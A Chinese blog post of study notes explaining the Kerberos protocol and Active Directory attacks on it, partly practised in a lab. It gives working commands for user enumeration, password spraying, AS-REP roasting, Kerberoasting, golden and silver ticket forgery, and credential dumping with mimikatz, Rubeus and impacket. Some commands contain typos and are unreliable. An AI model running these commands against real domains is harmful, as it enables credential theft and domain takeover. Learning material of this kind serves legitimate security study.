Kerberos攻击方式【委派还没总结】

Kerberos攻击方式【委派还没总结】

v2ish1yan Lv4

0x00 前言

这一篇文章是我对自己学习kerberos过程中的一点总结,有些错误还请指出

0x01 什么是Kerberos

Kerberos 是一种网络身份验证协议。它旨在通过使用密钥加密为客户端/服务器应用程序提供强大的身份验证。

他是一个无密码基于ticket的认证方式。

整个kerberos分为三个部分:

  • 访问服务的客户端(Client)
  • 提供服务的服务端(Service)
  • 提供认证服务的密钥分发中心,Key Distribution Center(KDC)

KDC由三个部分组成

  • 认证服务器,Authentication Server(AS):进行用户信息认证,为客户端提供 Ticket Granting Tickets(TGT)。
  • 票据授权服务器,Ticker Granting Server(TGS):验证 TGT 与 Authenticator,为客户端提供 Service Tickets。
  • Kerberos数据库,Kerberos Database:包含了一个域中所有的用户信息。

0x02 Kerberos认证过程

简易的认证过程如下

kerberos流程图

AS_REQ

Client发送的请求包内容包括:

  • 请求的用户名cname
  • 域名realm
  • Authenticator(用户密钥加密的时间戳)
  • 请求的服务名sname
  • 加密类型etype
  • 其他信息,版本号、消息类型,票据有效时间、是否包含pac。协商选项等

Authenticator是预身份验证的部分

AS_REP

如果开启了预身份验证,那么AS就会从活动目录数据库中取出该用户的密钥,然后用该密钥对请求包中预身份验证部分(Authenticator)进行解密,如果解密成功,并且解密出来的时间戳在一定范围内,则证明请求者提供的用户密钥正确。【如果没有开启身份验证,就不会有这段过程,这也是AS_REP Roasting攻击的前提】

在AS成功认证之后,就会给客户端发送AS_REP包,AS_REP数据包的主要内容包括:

  • 版本号、域名、用户名等
  • TGT(Ticket Granting ticket)
  • Logon Session Key

TGT是用krbtgt的密码哈希进行加密的,Logon Session Key是由用户的密码哈希进行加密的【krbtgt是KDC的服务账户】,TGT代表了是哪个用户在进行请求服务的操作

其中 TGT里包含

  • PAC(Privilege Attribute certificate),PAC包含各种授权信息、附加凭据信息、配置文件和策略信息等,例如用户所属的用户组、用户所具有的权限等。
  • Logon Session Key
  • 用户名、域名、认证时间、认证到期时间

总的来说,在经过这个过程后,AS会给Client返回一个包含PAC信息的TGT,TGT用来向TGS申请相关服务的ST(Server ticket)

TGS_REQ

客户端在收到AS_REP后会在本地缓存TGT和Logon Session Key,然后用TGT向TGS购买相应服务的ST

TGS_REQ数据包的主要内容包括

  • 域名realm
  • 请求的服务名sname
  • TGT
  • Authenticator(用Logon Session Key加密的时间戳),用于保证会话的安全性
  • 加密类型
  • 其他信息,如版本号、消息类型、协商选项、到期时间等

TGS_REP

在TGS收到TGS_REQ之后,会进行如下操作

首先,使用krbtgt密码哈希值对TGT的加密部分进行解密。得到Logon Session Key和PAC等信息,解密成功则说明是KDC颁发的

然后,验证PAC的签名,签名正确则证明PAC未经过篡改【PAC有两个数字签名:PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM;PAC_SERVER_CHECKSUM使用服务密钥进行签名,PAC_PRIVSVR_CHECKSUM使用KDC密钥进行签名】

最后,使用得到的Logon Session Key解密Authenticator得到时间戳等信息,如果解密成功且时间在有效范围内,则验证了会话的安全性

进行如上验证之后,TGS_REP就会返回包含如下内容的数据包:

  • 版本号、域名、用户名等
  • ST
  • Service Session Key

ST的明文部分包含版本号、域名、请求的服务名

ST的加密部分(使用服务密钥加密)包括:

  • Service Session Key
  • PAC
  • 用户名、域名、认证时间、认证信息等

ST里和ST外的Service Session Key都是用Logon Session Key进行加密的,用于下一阶段的认证密钥

AP_REQ

在客户端收到TGS_REP后,从中抽取ST和Service Session Key并准备开始申请访问服务

AP_REQ数据包中包含的内容:

  • ST
  • Authenticator(用Service Session Key加密的时间戳)
  • 其他信息,如版本号、消息类型、协商选项等

AP_REP

这一步是可选的,当客户端希望验证提供服务的服务端时(即AP_REQ请求的mutual-required选项为True),服务端就返回AP_REP消息。

服务端收到客户端发来的AP_REQ之后,通过服务密钥解密ST得到Service Session Key和PAC等信息,然后用Service Session Key解密Authenticator得到时间戳。如果解密成功且时间戳在有效范围内,则验证了客户端的身份。

验证了客户端身份后,服务端从ST中取出PAC中代表用户身份权限信息(主要通过User RID和Group RID)的数据,然后与请求的服务ACL做对比,生成相应的访问令牌。

同时,服务端会检测AP_REQ请求的mutual-required选项是否为True,如果是,则说明客户端想验证提供服务的服务端的身份。此时,服务端会用Service Session Key加密的时间戳作为Authenticator,在AP_REP包中发送给客户端进行验证。如果为False,服务端会根据访问令牌的权限决定是否返回相应的服务给客户端

0x03 Kerberos协议的安全问题

未命名-2

AS_REQ

Pass The Hash

因为在AS_REQ过程中是使用用户的密码对时间戳进行加密的,所以如果获取了一个用户的密码hash,那么就可以伪造成这个用户来对服务进行访问

但是攻击手法我在网上没有搜到

域用户枚举

在AS_REQ包中的cname字段的值代表用户名,这个值存在与否,返回的包是不一样的。所以可以用来枚举域用户名

枚举工具:

下面在Try hack me的环境下进行实践(自己搭环境太麻烦了 XD)

Kerbrute

要先将域名和ip添加到/etc/host里,进行域名解析

字典是关键

1
2
┌──(kali㉿kali)-[~/Desktop/tools/for kerberos/kerbrute]
└─$ ./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local ./dict/users.txt

image-20230216154037154

pyKerbrute

使用python通过Kerberos Pre-Authentication快速暴力破解并枚举有效的Active Directory账户

有TCP和UDP两种模式

1
2
EnumADUser.py <domainControlerAddr> <domainName> <mode>
<mode>: tcp or udp
1
python2 EnumADUser.py  10.10.65.205  CONTROLLER.local dict/users.txt  tcp

image-20230216154950000

MSF模块

auxiliary/gather/kerberos_enumusers模块

设置相应的参数

1
2
3
4
5
6
7
msf6 auxiliary(gather/kerberos_enumusers) > set DOMAIN CONTROLLER.local
DOMAIN => CONTROLLER.local
msf6 auxiliary(gather/kerberos_enumusers) > set RHOSTS 10.10.65.205
RHOSTS => 10.10.65.205
msf6 auxiliary(gather/kerberos_enumusers) > set USER_FILE /tmp/users.txt
USER_FILE => /tmp/users.txt
msf6 auxiliary(gather/kerberos_enumusers) > run

image-20230216155352995

还会检测是否开启预身份验证而且还给了hash,良心!!!

密码喷洒(Password Spraying)

在AS_REQ过程中,如果用户名存在,密码正确与否,返回的包也是不一样的,所以可以使用单一的密码,对用户字典里的用户进行爆破,就是密码喷洒

工具:

Kerbrute

使用以下命令,对指定的域用用户字典进行爆破,找出密码为P@ss1234的

1
./kerbrute passwordspray --dc CONTROLLER.local -d CONTROLLER.local ./dict/users.txt P@ss1234

使用以下命令,爆破用户的密码

1
./kerbrute bruteuser --dc CONTROLLER.local -d CONTROLLER.local ./dict/password.txt  administrator

pyKerbrute

在tcp模式下可以对明文密码和Hash密码进行喷洒攻击

1
2
3
ADPwdSpray.py <domainControlerAddr> <domainName> <file> <passwordtype> <data> <mode>
<mode>: tcp or udp
<passwordtype>: clearpassword oe ntlmhash
1
python2  10.10.65.205  CONTROLLER.local dict/users.txt clearpassword P@ss1234 tcp

DomainPasswordSpray.ps1

要在域内的机器执行,原理是利用LDAP从域中导出用户列表,去除被锁定的用户,再用指定密码进行喷洒

1
2
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password P@ass1234

AS_REP

黄金票据攻击

所谓黄金票据,就是利用krbtgt的密码哈希值来伪造一个TGT,可以用来伪造任意用户的TGT,甚至这个用户不存在!

生成黄金票据的条件如下

  • 域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot]
  • 域的SID值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value]
  • 域的KRBTGT账户NTLM密码哈希
  • 要伪造的用户名

可以是Mimikatz来转储krbtgt的密码哈希值,需要在域控上使用

1
mimikatz.exe "Log" "Privilege::Debug" "lsadump::lsa /patch" "exit"

然后就可以获得krbtgt的NTLM-Hash和domain SID

image-20230216170214694

image-20230216170011603

也可以使用

1
mimikatz.exe "Log" "Privilege::Debug" "lsadump::lsa /inject /name:krbtgt" "exit"

来转储指定用户的哈希值

然后在Mimikatz执行以下命令来创建黄金票据

1
Kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /ticket:ticket.kirbi [/id:对应用户的rid]

在创建完票据后,进行票据传递,从而获得伪造用户的权限

1
Kerberos::ptt ticket.kirbi

票据传递之后,就是在建立IPC连接后的攻击方式了,而IPC能够访问的机器取决于伪造用户的权限高低

psexec

1
PsExec.exe \\192.168.60.1 cmd.exe

WMIEXEC.VBS

1
cscript wmiexec.vbs /shell 192.168.60.1

AS_REP Roasting攻击

AS_REP Roasting是一种对用户账户进行离线爆破的方式

需要关闭预身份验证,而此选项又是默认开启的,所以有一定的限制

默认开启的预身份验证是会记录密码错误次数来防止爆破的

关闭预身份验证后,在进行AS_REQ之后的时候,KDC不会进行任何验证就将TGT和用该用户Hash加密的Login Session Key返回

由于AS_REP的数据包中Login Session Key的是由用户Hash进行加密的

因此,可以对获取到的用户Hash加密的Login Session Key进行离线爆破,得到对应用户的明文密码

【爆破的原理就是将明文进行hash计算,然后再对Login Session Key进行解密,如果成功,则得到明文密码】

AS_REP Roasting攻击的前提条件:

  • 域用户需要勾选“不要求Kerberos预身份验证”选项
  • 需要一台可与KDC 88端口进行通信的主机

工具:

Rubeus

执行以下命令,Rebeus会自动搜素域内关闭了预身份验证的用户,并以该用户身份发起AS_REQ,并获得AS_REP,将用户Hash加密的Login Session Key转储为hashcat可以进行爆破的格式,保存为hash.txt

1
Rubeus.exe asreproast /format:hashcat /outfile:hash.txt

image-20230217202717813

然后使用hashcat进行爆破

1
2
3
hashcat  -a 0 -m 18200 1.txt  rockyou.txt  -o 2.txt 
#1.txt;目标hash
#rockyou.txt;字段

如果字典够牛逼,就可以获得那些关闭了预身份验证的用户的密码

ASREPRoast.ps1

原理跟Rebeus一样,要先导入ASREPRoast.ps1再执行

会返回关闭了预身份验证的用户名、DN以及用户Hash加密的Login Session Key

最后使用select过滤出Hash

1
2
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoasting | select -ExpandProperty Hash

Adfind和impacket

Adfind使用帮助

对于非域内的主机,可以使用Adfind执行以下命令过滤出关闭了预身份验证的用户

需要拥有一个有效的域账户和密码

1
AdFind.exe -h 10.10.17.251 -u Administrator -up P@$$W0rd -dn -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304"

image-20230217212009518

然后使用impacket的GetBPUser.py把上面过滤出的域账户写入user.txt文件,运行如下命令获取指定用户hash加密的Login Session Key,并以hashcat可以爆破的格式打印出来

1
python GetNPUsers.py  -dc-ip 10.10.17.251 -usersfile GetNPUser.txt  -format hashcat controller.local/

image-20230217212727241

然后用hashcat进行爆破就行

TGS_REP

Kerberoasting

Kerberoasting攻击发生在Kerberos的TGS_REP阶段,KDC的TGS返回一个由服务Hash加密的ST给客户端。

由于ST是用服务的Hash进行加密的,因此客户端拿到该ST后可以用于本地离线爆破。如果字典够牛逼,那么就很有可能爆破出SPN链接用户的明文密码
如果该服务在域内被配置为高权限运行,那么攻击者可能接管整个域

核心在于,攻击者和KDC协商ST加密的时候,协商的是使用RC4_HMAC_MD5加密算法,而该加密算法容易被破解,因为攻击者可以在本地进行离线爆破

Kerberoasting的前提:服务SPN必须注册在域用户账户下,因为机器账户的密码是随机生成的,基本爆破不了

攻击过程:

  1. 攻击者提供一个正常的域用户密码进行认证,获得TGT
  2. 攻击者使用该TGT请求针对指定SPN的ST
  3. KDC在验证身份后,返回服务Hash加密的ST,不管提供的域用户有没有对指定SPN服务的访问权限
  4. 攻击者本地离线爆破ST,获得SPN所链接账户的明文密码

攻击流程:

  1. 查询域内注册于域用户的SPN
  2. 请求指定SPN的ST
  3. 导出请求的ST
  4. 对该ST进行离线爆破

SPN的发现

默认情况下,域内会有个注册在krbtgt下的SPN kadmin/changepw,但是该SPN对于kerberoasting是没有用的,因为krbtgt的密码是随机生成的,几乎不可能爆破

所以需要使用以下工具,找到其他的SPN

1.RiskySPN

RiskySPNs 是一组 PowerShell 脚本,专注于检测和滥用与 SPN(服务主体名称)关联的帐户。该模块可以帮助蓝队识别有潜在风险的 SPN,并帮助红队利用 Kerberos 和 Active Directory 提升权限

可以用来查找当前域内注册在用户下的可能包含弱密码的SPN

1
2
Import-Module .\RiskySPNs.psm1
Find-PotentiallyCrackableAccounts#查找易受攻击的

他还可以直接请求ST

为 SPN 请求 Kerberos TGS

1
Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"

或者

1
Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher

有趣的东西:),这个应该是获取ST里的服务HASH

1
2
Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3

2.GetUserSPNs

kerberoast 里的一个查询注册于域内用户下的SPN的脚本

有vs和powershell两种,可以查询域内所以注册在用户下的SPN,包括注册于krbtgt下的kadmin/changepw

1
2
3
4
#vbs
cscript .\GetUserSPNs.vbs
#powerhshell
Import-Module .\GetUserSPNs.ps1

3.Powerview.ps1

是Powersploit中Recon目录下的powershell脚本文件

可以查询域内所以注册在用户下的SPN,包括krbtgt用户,并返回详细信息

1
2
Import-Muole .\PowerView.ps1
Get-NetUser -SPN

请求服务票据(ST)

1.Impacket请求

GeyUserSPNs.py可以用来请求注册于用户下的所有SPN的服务票据,也可以请求注册于指定用户下的SPN的服务器票据

1
2
3
4
#请求注册于用户下的所有SPN服务票据,并保存为hashcat可以破解的格式
python3 GetUserSPNs.py -request -dc-ip 10.211.55.4 xie.com/hack:password -outputfile hash.txt
#请求指定用户hack下的SPN服务票据,并保存为hashcat可以破解的格式
python3 GetUserSPNs.py -request -dc-ip 10.211.55.4 xie.com/hack:password -outputfile hash.txt -request-user hack

2.Rebeus请求

Rebeus支持对所有用户或特定用户执行Kerberoasting操作,原理是先用LDAP查询域内所有注册在域用户下的SPN(除了kadmin/changpw),再通过发送TGS包,直接输出能使用John或hashcat爆破的hash

1
2
3
4
#请求注册于用户下的所有SPN服务票据,并保存为hashcat可以破解的格式
Rebeus.exe kerberoast /format:hashcat /outfile:hash.txt
#请求指定用户下的指定SPN服务票据,并保存为john可以破解的格式
Rebeus.exe kerberoast /spn:SQLSERVER/win7.xie.com:1443/MSSQL /format:john /outfile:hash.tx

3.mimikatz请求

请求指定SPN的服务票据,请求的ST将保存在内存中

1
kerberos::ask /target:SQLSERVER/win7.xie.com:1443/MSSQL

导出内存中的服务票据

因为有的工具请求的票据是保存在内存中的,所以需要将其导出,才能进行爆破

1.查看内存中的票据

1
2
3
4
#cmd命令行
klist
#mimikatz里
kerberos::list

2.使用mimikatz导出票据

得到.kirbi格式的文件

1
mimikatz.exe "kerberos::list /export" exit

3.使用Empire导出票据

Empire下的Invoke-Kerberoast.ps1可以导出内存中的票据,并以hashcat或者john的格式保存

1
2
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -outputFormat hashcat

离线爆破票据

1.kerberoast

Kerberoast下的tgsrepcrack.py ,可以离线爆破.kirbi格式的票据

1
python2 tgsrepcrack.py pass.txt <xxx.kribi>

2.tgscrack

先将.kribi格式的文件转换成这个工具可爆破的格式,再使用这个go脚本进行爆破

1
2
python2 extractServiceTicketParts.py xxxx.kribi > hash.txt
go run tgscrack.go -hashfile hash.txt -wordlist pass.txt

3.hashcat

针对Rebeus和Impacket请求的票据

1
hashcat -m 13100 hash.txt pass.txt --force -o 

白银票据攻击

在TGS_REP阶段返回的ST中的authorization-data是使用服务密钥加密的,而authorization-data里存放着代表用户的PAC,并且这个阶段的PAC的PAC_SERVER_CHECKSUM签名的密钥也是服务密钥(该阶段PAC的PAC_PRIVSVR_CHECKSUM签名的密钥是krbtgt密钥,此时客户端不能伪造PAC_SERVER_CHECKSUM签名)。但是由于 PAC_SERVER_CHECKSUM签名是可选的且默认不开启,所以可以在不伪造PAC_SERVER_CHECKSUM签名的情况下进行攻击

就是在PAC没有配置PAC_SERVER_CHECKSUM签名的时候,只要获得指定服务的密钥,就能伪造高权限的用户来使用这个ST,以高权限的身份访问指定服务

创建白银票据的条件:

  • 目标服务的密钥
  • 域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot]
  • 域的SID值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value]
  • 要伪造的用户,比如域管理员

和黄金票据不同的是,白银票据只能访问指定服务,且白银票据的生成不与KDC进行通信,所以不会在KDC上留下日志,只会在目标服务器上留下日志。而黄金票据会在KDC上留下日志

使用impacket进行攻击

使用Impacket下的ticketer.py脚本来离线生成白银票据,然后将票据导入,即可以使用secretsdump.py、smbexec.py进行利用

需要在hosts文件里添加服务对应的ip

1
2
3
4
5
6
7
8
#生成白银票据
python3 ticketer.py -domian-sid <sid> -nthash <server-hash> -spn <server-name> -domain <domain-name> <user>
#导入票据
export KRB5CCNAME=<user>.ccache
#远程连接服务所在的主机,如果是域控上的服务,就可以直接连接域控了
python3 smbexec.py -no-pass -k <user>@<domain> -dc-ip <dcip>
#如果是域控的服务,可以导出指定用户的hash
python3 secretsdump.py -k -no-pass <user>@<domain> -dc-ip <dcip> -just-dc-user <target-user>

使用mimikatz进行攻击

使用mimikatz进行攻击的时候,利用的机器可以是域内的普通机器,也可以不是域内的机器

当利用的机器不在域中时,需要将DNS服务器设置为域控

1
2
3
4
5
mimikatz.exe
#生成白银票据并导入当前内存
Kerberos::golden /user:Administrator /domain:controller.local /sid:<domain-sid> /target:<目标计算机名> /service:<要访问的服务> /rc4:<目标计算机的NTLM hash值> /user:<user> /ptt
# 验证是否成功,导出用户krbtgt的hash(如果目标服务是域控上的服务)
lsadump:dcsync /domain:xie.com /user:krbtgt /csv

使用cs进行攻击

不做赘述,他自带有图形化操作界面

  • 标题: Kerberos攻击方式【委派还没总结】
  • 作者: v2ish1yan
  • 创建于: 2023-06-23 11:11:14
  • 更新于: 2023-06-23 11:11:14
  • 链接: http://v2ish1yan.top/2023/06/23/内网渗透/Kerberos/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论